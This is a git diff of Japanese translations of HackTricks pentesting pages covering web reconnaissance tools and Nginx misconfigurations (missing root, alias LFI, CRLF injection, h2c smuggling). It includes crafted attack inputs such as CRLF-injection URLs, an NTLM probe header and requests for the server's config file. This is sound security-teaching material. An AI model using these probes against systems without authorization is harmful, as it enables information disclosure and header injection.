[**testssl.sh**](https://github.com/drwetter/testssl.sh)を使用して**脆弱性**をチェックし(バグバウンティプログラムではこの種の脆弱性は受け入れられない可能性があります)、[**a2sv**](https://github.com/hahwul/a2sv)を使用して脆弱性を再確認してください: [**testssl.sh**](https://github.com/drwetter/testssl.sh)を使用して**脆弱性**をチェックし(バグバウンティプログラムではこの種の脆弱性は受け入れられない可能性があります)、[**a2sv**](https://github.com/hahwul/a2sv)を使用して脆弱性を再確認してください:
@ -225,22 +225,22 @@ SSL/TLSの脆弱性に関する情報:
* [**gospider**](https://github.com/jaeles-project/gospider) (go): HTMLスパイダー、JSファイル内のLinkFinderおよび外部ソースArchive.org、CommonCrawl.org、VirusTotal.com、AlienVault.com * [**gospider**](https://github.com/jaeles-project/gospider) (go): HTMLスパイダー、JSファイル内のLinkFinderおよび外部ソースArchive.org、CommonCrawl.org、VirusTotal.com、AlienVault.com
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HMLスパイダー、JSファイル用のLinkFinderおよび外部ソースとしてArchive.orgを使用。 * [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HMLスパイダー、JSファイル用のLinkFinderおよび外部ソースとしてArchive.orgを使用。
* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTMLスパイダー、「おいしいファイル」も示します。 * [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTMLスパイダー、「おいしいファイル」も示します。
* [**evine** ](https://github.com/saeeddhqan/evine)(go): インタラクティブCLI HTMLスパイダー。Archive.orgも検索します。 * [**evine** ](https://github.com/saeeddhqan/evine)(go): インタラクティブCLI HTMLスパイダー。Archive.orgも検索します。
* [**meg**](https://github.com/tomnomnom/meg) (go): このツールはスパイダーではありませんが、役立つことがあります。ホストのファイルとパスのファイルを指定するだけで、megは各ホストの各パスを取得し、応答を保存します。 * [**meg**](https://github.com/tomnomnom/meg) (go): このツールはスパイダーではありませんが、有用です。ホストのファイルとパスのファイルを指定すると、megは各ホストの各パスを取得し、応答を保存します。
* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JSレンダリング機能を持つHTMLスパイダー。ただし、メンテナンスされていないようで、事前コンパイルされたバージョンは古く、現在のコードはコンパイルされません。 * [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JSレンダリング機能を持つHTMLスパイダー。ただし、メンテナンスされていないようで、事前コンパイルされたバージョンは古く、現在のコードはコンパイルされません。
* [**gau**](https://github.com/lc/gau) (go): 外部プロバイダーwayback、otx、commoncrawlを使用するHTMLスパイダー。 * [**gau**](https://github.com/lc/gau) (go): 外部プロバイダーwayback、otx、commoncrawlを使用するHTMLスパイダー。
* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): このスクリプトはパラメータを持つURLを見つけてリストします。 * [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): このスクリプトはパラメータを持つURLを見つけてリストします。
* [**galer**](https://github.com/dwisiswant0/galer) (go): JSレンダリング機能を持つHTMLスパイダー。 * [**galer**](https://github.com/dwisiswant0/galer) (go): JSレンダリング機能を持つHTMLスパイダー。
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTMLスパイダー、JSファイル内の新しいパスを検索できるJSビューティファイ機能を持っています。LinkFinderのラッパーである[JSScanner](https://github.com/dark-warlord14/JSScanner)も見る価値があります。 * [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTMLスパイダー、JSファイル内の新しいパスを検索できるJSビューティファイ機能を持っています。LinkFinderのラッパーである[JSScanner](https://github.com/dark-warlord14/JSScanner)も見る価値があります。
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): HTMLソースと埋め込まれたJavaScriptファイルの両方からエンドポイントを抽出します。バグハンター、レッドチーム、インフォセキュリティの忍者に役立ちます。 * [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): HTMLソースと埋め込まれたJavaScriptファイルの両方からエンドポイントを抽出します。バグハンター、レッドチーム、インフォセキュリティの忍者に便利です。
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): TornadoとJSBeautifierを使用してJavaScriptファイルから相対URLを解析するPython 2.7スクリプト。AJAXリクエストを簡単に発見するのに役立ちます。メンテナンスされていないようです。 * [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): TornadoとJSBeautifierを使用してJavaScriptファイルから相対URLを解析するPython 2.7スクリプト。AJAXリクエストを簡単に発見するのに便利です。メンテナンスされていないようです。
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): ファイルHTMLを与えると、巧妙な正規表現を使用して相対URLを見つけて抽出します。 * [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): ファイルHTMLを与えると、巧妙な正規表現を使用して相対URLを見つけて抽出します。
* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash、いくつかのツール): いくつかのツールを使用してJSファイルから興味深い情報を収集します。 * [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash、いくつかのツール): いくつかのツールを使用してJSファイルから興味深い情報を収集します。
* [**subjs**](https://github.com/lc/subjs) (go): JSファイルを見つけます。 * [**subjs**](https://github.com/lc/subjs) (go): JSファイルを見つけます。
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): ヘッドレスブラウザでページを読み込み、ページを読み込むためにロードされたすべてのURLを印刷します。 * [**page-fetch**](https://github.com/detectify/page-fetch) (go): ヘッドレスブラウザでページを読み込み、ページを読み込むためにロードされたすべてのURLを印刷します。
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): いくつかの前述のツールのオプションを組み合わせたコンテンツ発見ツール。 * [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): いくつかの前述のツールのオプションを組み合わせたコンテンツ発見ツール。
* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JSファイル内のパスとパラメータを見つけるためのBurp拡張機能。 * [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JSファイル内のパスとパラメータを見つけるためのBurp拡張機能。
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): .js.map URLを与えると、ビューティファイドJSコードを取得するツール * [**Sourcemapper**](https://github.com/denandz/sourcemapper): .js.map URLを与えると、ビューティファイドJSコードを取得します。
* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): 特定のターゲットのエンドポイントを発見するために使用されるツールです。 * [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): 特定のターゲットのエンドポイントを発見するために使用されるツールです。
* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Waybackマシンからリンクを発見します応答をダウンロードし、さらにリンクを探します * [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Waybackマシンからリンクを発見します応答をダウンロードし、さらにリンクを探します
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): フォームを埋めることによるクローリングや、特定の正規表現を使用して機密情報を見つけます。 * [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): フォームを埋めることによるクローリングや、特定の正規表現を使用して機密情報を見つけます。
@ -252,7 +252,7 @@ SSL/TLSの脆弱性に関する情報:
### ディレクトリとファイルのブルートフォース ### ディレクトリとファイルのブルートフォース
ルートフォルダから**ブルートフォース**を開始し、**この方法**で見つかった**すべてのディレクトリ**と**スパイダーリング**によって**発見された**すべてのディレクトリをブルートフォースすることを確認してください(このブルートフォースを**再帰的に**行い、使用するワードリストの先頭に見つかったディレクトリの名前を追加できます)。\ ルートフォルダから**ブルートフォース**を開始し、**この方法**で見つかった**すべてのディレクトリ**と**スパイダーリング**によって**発見された**すべてのディレクトリをブルートフォースすることを確認してください(このブルートフォースを**再帰的に**行い、使用するワードリストの先頭に見つかったディレクトリの名前を追加できます)。\
ツール: ツール:
* **Dirb** / **Dirbuster** - Kaliに含まれており、**古い**(および**遅い**)ですが機能します。自己署名証明書と再帰検索を許可します。他のオプションと比較して遅すぎます。 * **Dirb** / **Dirbuster** - Kaliに含まれており、**古い**(および**遅い**)ですが機能します。自己署名証明書と再帰検索を許可します。他のオプションと比較して遅すぎます。
@ -296,11 +296,11 @@ _ブルートフォースやスパイダーリング中に新しいディレク
* _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params) * _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
* _Assetnote “parameters\_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io) * _Assetnote “parameters\_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
* _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773) * _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
* **コメント:** すべてのファイルのコメントを確認してください。**資格情報**や**隠れた機能**が見つかることがあります。 * **コメント:** すべてのファイルのコメントを確認し、**資格情報**や**隠れた機能**を見つけることができます。
* **CTF**をプレイしている場合、「一般的な」トリックは、ページの**右側**のコメント内に**情報**を**隠す**ことです(**数百**の**スペース**を使用して、ブラウザでソースコードを開いてもデータが見えないようにします)。もう一つの可能性は、**いくつかの新しい行**を使用して、ウェブページの**下部**のコメントに**情報**を隠すことです。 * **CTF**をプレイしている場合、「一般的な」トリックは、ページの**右側**のコメント内に**情報**を**隠す**ことです(**数百**の**スペース**を使用して、ブラウザでソースコードを開いてもデータが見えないようにします)。もう一つの可能性は、**いくつかの新しい行**を使用して、ウェブページの**下部**のコメントに**情報**を隠すことです。
* **APIキー**: **APIキー**を見つけた場合、さまざまなプラットフォームのAPIキーの使用方法を示すガイドがあります: [**keyhacks**](https://github.com/streaak/keyhacks)**、** [**zile**](https://github.com/xyele/zile.git)**、** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**、** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**、** [**RegHex**](https://github.com/l4yton/RegHex\)/)**、** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**、** [**EarlyBird**](https://github.com/americanexpress/earlybird) * **APIキー**: **APIキー**を見つけた場合、さまざまなプラットフォームのAPIキーの使用方法を示すガイドがあります: [**keyhacks**](https://github.com/streaak/keyhacks)**、** [**zile**](https://github.com/xyele/zile.git)**、** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**、** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**、** [**RegHex**](https://github.com/l4yton/RegHex\)/)**、** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**、** [**EarlyBird**](https://github.com/americanexpress/earlybird)
* Google APIキー: **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjikのようなAPIキーを見つけた場合、プロジェクト[**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner)を使用して、キーがアクセスできるAPIを確認できます。 * Google APIキー: **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjikのようなAPIキーを見つけた場合、プロジェクト[**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner)を使用して、キーがアクセスできるAPIを確認できます。
* **S3バケット**: スパイダーリング中に、**サブドメイン**や**リンク**が**S3バケット**に関連しているかどうかを確認してください。その場合、[**バケットの**権限を**確認**してください](buckets/)。 * **S3バケット**: スパイダーリング中に、**サブドメイン**や**リンク**が**S3バケット**に関連しているかどうかを確認します。その場合、[**バケットの**権限を**確認**してください](buckets/)。
### 特別な発見 ### 特別な発見
@ -310,10 +310,10 @@ _ブルートフォースやスパイダーリング中に新しいディレク
* **CSS**ファイル内の他のファイルへの**リンク**を探します。 * **CSS**ファイル内の他のファイルへの**リンク**を探します。
* [**.git**ファイルを見つけた場合、いくつかの情報を抽出できます](git.md) * [**.git**ファイルを見つけた場合、いくつかの情報を抽出できます](git.md)
* **.env**を見つけた場合、APIキー、DBパスワードなどの情報が見つかることがあります。 * **.env**を見つけた場合、APIキー、DBパスワードなどの情報が見つかる可能性があります。
* **APIエンドポイント**を見つけた場合、[それらもテストするべきです](web-api-pentesting.md)。これらはファイルではありませんが、おそらく「ファイルのように見える」でしょう。 * **APIエンドポイント**を見つけた場合、[それらもテストするべきです](web-api-pentesting.md)。これらはファイルではありませんが、おそらく「ファイルのように見える」でしょう。
* **JSファイル**: スパイダーリングセクションでは、JSファイルからパスを抽出できるいくつかのツールが言及されました。また、見つかった各JSファイルを**監視する**ことも興味深いでしょう。なぜなら、変更があった場合、潜在的な脆弱性がコードに導入されたことを示す可能性があるからです。たとえば、[**JSMon**](https://github.com/robre/jsmon)**を使用できます。** * **JSファイル**: スパイダーリングセクションでは、JSファイルからパスを抽出できるいくつかのツールが言及されました。また、見つかった各JSファイルを**監視する**ことも興味深いでしょう。なぜなら、変更があった場合、潜在的な脆弱性がコードに導入されたことを示す可能性があるからです。たとえば、[**JSMon**](https://github.com/robre/jsmon)**を使用できます。**
* 発見されたJSファイルを[**RetireJS**](https://github.com/retirejs/retire.js/)や[**JSHole**](https://github.com/callforpapers-source/jshole)で確認し、脆弱性があるかどうかを調べるべきです。 * 発見されたJSファイルを[**RetireJS**](https://github.com/retirejs/retire.js/)や[**JSHole**](https://github.com/callforpapers-source/jshole)で確認し、脆弱性があるかどうかを調べるべきです。
* **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/)、[https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator) * **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/)、[https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
* **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io)、[http://jsnice.org/](http://jsnice.org) * **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io)、[http://jsnice.org/](http://jsnice.org)
* **JsFuckのデオブフスケーション** (文字でのjavascript:"\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/)) * **JsFuckのデオブフスケーション** (文字でのjavascript:"\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/))
@ -329,12 +329,12 @@ _ブルートフォースやスパイダーリング中に新しいディレク
**502 Proxy Error** **502 Proxy Error**
ページが**そのコード**で**応答**する場合、それはおそらく**不適切に構成されたプロキシ**です。**`GET https://google.com HTTP/1.1`**のようなHTTPリクエストを送信するとホストヘッダーや他の一般的なヘッダーを含む、**プロキシ**は**_google.com_**に**アクセス**しようとし、**SSRF**を見つけることになります。 ページが**そのコード**で**応答**する場合、**不適切に構成されたプロキシ**の可能性があります。**`GET https://google.com HTTP/1.1`**のようなHTTPリクエストを送信するとホストヘッダーや他の一般的なヘッダーを含む、**プロキシ**は_**google.com**_に**アクセス**しようとし、**SSRF**を見つけることができます。
**NTLM認証 - 情報漏洩** **NTLM認証 - 情報漏洩**
認証を要求しているサーバーが**Windows**であるか、**資格情報**を要求するログインを見つけた場合**ドメイン名**を要求する場合、**情報漏洩**を引き起こすことができます。\ 認証を要求しているサーバーが**Windows**であるか、**資格情報**および**ドメイン名**を要求するログインを見つけた場合、**情報漏洩**を引き起こすことができます。\
**ヘッダーを送信します**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` そして、**NTLM認証の動作**により、サーバーは内部情報IISバージョン、Windowsバージョン...)をヘッダー"WWW-Authenticate"内で応答します。\ **ヘッダー**を送信します: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”`**NTLM認証の動作**により、サーバーは内部情報IISバージョン、Windowsバージョン...)を「WWW-Authenticate」ヘッダー内で応答します。\
この操作は、**nmapプラグイン**"_http-ntlm-info.nse_"を使用して**自動化**できます。 この操作は、**nmapプラグイン**"_http-ntlm-info.nse_"を使用して**自動化**できます。
**HTTPリダイレクト (CTF)** **HTTPリダイレクト (CTF)**
@ -361,9 +361,9 @@ _ブルートフォースやスパイダーリング中に新しいディレク
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### ハッカーの視点からあなたのウェブアプリ、ネットワーク、クラウドを評価 **あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
**重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権をエスカレートさせるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告に変えます。 **実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 攻撃面をマッピングし、特権をエスカレートさせるセキュリティ問題を見つけるために、20以上のカスタムツールを使用し、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -446,8 +446,8 @@ GCPハッキングを学び、実践する<img src="../../.gitbook/assets/grt
<summary>HackTricksをサポートする</summary> <summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。** * **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>
{% endhint %} {% endhint %}

View file

@ -17,15 +17,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### ハッカーの視点であなたのウェブアプリ、ネットワーク、クラウドを見つめる **あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 **実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけるために、20以上のカスタムツールを使用し、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## ルートロケーションの欠如 <a href="#missing-root-location" id="missing-root-location"></a> ## Missing root location <a href="#missing-root-location" id="missing-root-location"></a>
Nginxサーバーを構成する際、**rootディレクティブ**はファイルが提供される基本ディレクトリを定義する重要な役割を果たします。以下の例を考えてみてください: Nginxサーバーを構成する際、**rootディレクティブ**はファイルが提供される基本ディレクトリを定義する重要な役割を果たします。以下の例を考えてみてください:
```bash ```bash
server { server {
root /etc/nginx; root /etc/nginx;
@ -36,13 +36,13 @@ proxy_pass http://127.0.0.1:8080/;
} }
} }
``` ```
この構成では、`/etc/nginx` がルートディレクトリとして指定されています。この設定により、`/hello.txt` のような指定されたルートディレクトリ内のファイルにアクセスできます。しかし、特定の場所(`/hello.txt`)のみが定義されていることに注意することが重要です。ルートロケーション(`location / {...}`)の設定はありません。この省略により、ルートディレクティブはグローバルに適用され、ルートパス `/` へのリクエストが `/etc/nginx` の下のファイルにアクセスできるようになります。 この設定では、`/etc/nginx` がルートディレクトリとして指定されています。このセットアップにより、`/hello.txt` のような指定されたルートディレクトリ内のファイルにアクセスできます。しかし、特定の場所(`/hello.txt`)のみが定義されていることに注意することが重要です。ルートロケーション(`location / {...}`)の設定はありません。この省略により、ルートディレクティブはグローバルに適用され、ルートパス `/` へのリクエストが `/etc/nginx` の下のファイルにアクセスできるようになります。
この構成から生じる重要なセキュリティ上の考慮事項があります。`GET /nginx.conf` のような単純な `GET` リクエストは、`/etc/nginx/nginx.conf` にある Nginx 設定ファイルを提供すること、機密情報を露出させる可能性があります。ルートを `/etc` のようなあまり機密性の高くないディレクトリに設定することで、このリスクを軽減できますが、それでも他の重要なファイル、他の設定ファイル、アクセスログ、さらには HTTP ベーシック認証に使用される暗号化された資格情報への意図しないアクセスを許可する可能性があります。 この設定から生じる重要なセキュリティ上の考慮事項があります。`GET /nginx.conf` のような単純な `GET` リクエストは、`/etc/nginx/nginx.conf` にある Nginx 設定ファイルを提供することによって、機密情報を露出させる可能性があります。ルートを `/etc` のようなあまり機密性の高くないディレクトリに設定することで、このリスクを軽減できますが、それでも他の重要なファイル、他の設定ファイル、アクセスログ、さらには HTTP ベーシック認証に使用される暗号化された資格情報への意図しないアクセスを許可する可能性があります。
## Alias LFI Misconfiguration <a href="#alias-lfi-misconfiguration" id="alias-lfi-misconfiguration"></a> ## Alias LFI Misconfiguration <a href="#alias-lfi-misconfiguration" id="alias-lfi-misconfiguration"></a>
Nginx の設定ファイルでは、「location」ディレクティブを注意深く検査する必要があります。Local File Inclusion (LFI) として知られる脆弱性は、次のような構成を通じて意図せず導入される可能性があります: Nginx の設定ファイルでは、「location」ディレクティブを注意深く検査する必要があります。Local File Inclusion (LFI) として知られる脆弱性は、以下のような設定を通じて意図せず導入される可能性があります。
``` ```
location /imgs { location /imgs {
alias /path/images/; alias /path/images/;
@ -102,7 +102,7 @@ location / {
return 302 https://example.com$uri; return 302 https://example.com$uri;
} }
``` ```
HTTPリクエストにおける文字 \r (キャリッジリターン) と \n (ラインフィード) は新しい行文字を示し、そのURLエンコード形式は `%0d%0a` として表されます。これらの文字をリクエストに含めると (例: `http://localhost/%0d%0aDetectify:%20clrf`)、誤って設定されたサーバーは `Detectify` という新しいヘッダーを発行します。これは、$uri 変数がURLエンコードされた新しい行文字をデコードするため、レスポンスに予期しないヘッダーが含まれることになります: HTTPリクエストにおいて、文字 \r (キャリッジリターン) と \n (ラインフィード) は新しい行文字を示し、そのURLエンコード形式は `%0d%0a` として表されます。これらの文字をリクエストに含めると(例: `http://localhost/%0d%0aDetectify:%20clrf`、誤って設定されたサーバーは `Detectify` という新しいヘッダーを発行します。これは、$uri 変数がURLエンコードされた新しい行文字をデコードするため、レスポンスに予期しないヘッダーが含まれることになります:
``` ```
HTTP/1.1 302 Moved Temporarily HTTP/1.1 302 Moved Temporarily
Server: nginx/1.19.3 Server: nginx/1.19.3
@ -121,7 +121,7 @@ CRLFインジェクションとレスポンススプリッティングのリス
脆弱な場合、最初のリクエストは「X」として返され、任意のHTTPメソッドが使用され、2番目はHが有効なメソッドではないためエラーが返されます。したがって、サーバーは次のようなものを受け取ります`GET / H HTTP/1.1` これがエラーを引き起こします。 脆弱な場合、最初のリクエストは「X」として返され、任意のHTTPメソッドが使用され、2番目はHが有効なメソッドではないためエラーが返されます。したがって、サーバーは次のようなものを受け取ります`GET / H HTTP/1.1` これがエラーを引き起こします。
の検出例は次のとおりです: の検出例は次のとおりです:
* `http://company.tld/%20HTTP/1.1%0D%0AXXXX:%20x` - 任意のHTTPコード * `http://company.tld/%20HTTP/1.1%0D%0AXXXX:%20x` - 任意のHTTPコード
* `http://company.tld/%20HTTP/1.1%0D%0AHost:%20x` - 400 Bad Request * `http://company.tld/%20HTTP/1.1%0D%0AHost:%20x` - 400 Bad Request
@ -134,7 +134,7 @@ location ^~ /lite/api/ {
proxy_pass http://lite-backend$uri$is_args$args; proxy_pass http://lite-backend$uri$is_args$args;
} }
``` ```
* 再**`$uri`** がURLに含まれていることに注意してください今回はパラメータ内です * 再度**`$uri`**がURLに含まれていることに注意してください今回はパラメータ内です
``` ```
location ~ ^/dna/payment { location ~ ^/dna/payment {
rewrite ^/dna/([^/]+) /registered/main.pl?cmd=unifiedPayment&context=$1&native_uri=$uri break; rewrite ^/dna/([^/]+) /registered/main.pl?cmd=unifiedPayment&context=$1&native_uri=$uri break;
@ -183,7 +183,7 @@ proxy_hide_header Secret-Header;
デフォルトでは、Nginxの**`merge_slashes`ディレクティブ**は**`on`**に設定されており、URL内の複数のスラッシュを1つのスラッシュに圧縮します。この機能はURL処理を簡素化しますが、特にローカルファイルインクルージョンLFI攻撃に対して脆弱なアプリケーションの背後にあるNginxでの脆弱性を隠す可能性があります。セキュリティ専門家の**ダニー・ロビンソンとロテム・バー**は、このデフォルトの動作に関連する潜在的なリスクを指摘しています。 デフォルトでは、Nginxの**`merge_slashes`ディレクティブ**は**`on`**に設定されており、URL内の複数のスラッシュを1つのスラッシュに圧縮します。この機能はURL処理を簡素化しますが、特にローカルファイルインクルージョンLFI攻撃に対して脆弱なアプリケーションの背後にあるNginxでの脆弱性を隠す可能性があります。セキュリティ専門家の**ダニー・ロビンソンとロテム・バー**は、このデフォルトの動作に関連する潜在的なリスクを指摘しています。
このようなリスクを軽減するために、これらの脆弱性に対して感受性のあるアプリケーションには**`merge_slashes`ディレクティブをオフにする**ことが推奨されます。これにより、NginxはURL構造を変更することなくアプリケーションにリクエストを転送し、基盤となるセキュリティ問題を隠さないようにします。 このようなリスクを軽減するために、これらの脆弱性に対して感受性のあるアプリケーションには**`merge_slashes`ディレクティブをオフにする**ことが推奨されます。これにより、NginxはURL構造を変更することなくアプリケーションにリクエストを転送し、潜在的なセキュリティ問題を隠さないようにします。
詳細については、[ダニー・ロビンソンとロテム・バー](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d)を確認してください。 詳細については、[ダニー・ロビンソンとロテム・バー](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d)を確認してください。
@ -234,7 +234,7 @@ resolver 8.8.8.8;
## proxy\_set\_header Upgrade & Connection ## proxy\_set\_header Upgrade & Connection
nginx サーバーが Upgrade および Connection ヘッダーを渡すように設定されている場合、[**h2c Smuggling attack**](../../pentesting-web/h2c-smuggling.md) を実行して保護された/内部エンドポイントにアクセスすることができます。 nginx サーバーが Upgrade Connection ヘッダーを渡すように設定されている場合、[**h2c Smuggling attack**](../../pentesting-web/h2c-smuggling.md) を実行して保護された/内部エンドポイントにアクセスすることができます。
{% hint style="danger" %} {% hint style="danger" %}
この脆弱性により、攻撃者は **`proxy_pass` エンドポイント (`http://backend:9999` の場合) との直接接続を確立することができます**。その内容は nginx によってチェックされません。 この脆弱性により、攻撃者は **`proxy_pass` エンドポイント (`http://backend:9999` の場合) との直接接続を確立することができます**。その内容は nginx によってチェックされません。
@ -261,12 +261,12 @@ deny all;
} }
``` ```
{% hint style="warning" %} {% hint style="warning" %}
`proxy_pass`が`http://backend:9999/socket.io`のような特定の**パス**を指していても、接続は`http://backend:9999`で確立されるため、**その内部エンドポイント内の他のパスに連絡することができます。したがって、proxy_passのURLにパスが指定されていても関係ありません。** 注意してください。`proxy_pass`が`http://backend:9999/socket.io`のような特定の**パス**を指していても、接続は`http://backend:9999`で確立されるため、**その内部エンドポイント内の他のパスに連絡することができます。したがって、proxy_passのURLにパスが指定されていても関係ありません。**
{% endhint %} {% endhint %}
## 自分で試してみる ## 自分で試してみる
Detectifyは、Dockerを使用して、この記事で説明したいくつかの誤設定を持つ脆弱なNginxテストサーバーを自分でセットアップできるGitHubリポジトリを作成しました。自分で見つけてみてください Detectifyは、Dockerを使用して、この記事で説明したいくつかの誤設定を持つ脆弱なNginxテストサーバーをセットアップできるGitHubリポジトリを作成しました。自分で見つけてみてください
[https://github.com/detectify/vulnerable-nginx](https://github.com/detectify/vulnerable-nginx) [https://github.com/detectify/vulnerable-nginx](https://github.com/detectify/vulnerable-nginx)
@ -288,9 +288,9 @@ Nginxpwnerは、一般的なNginxの誤設定や脆弱性を探すためのシ
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る **あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
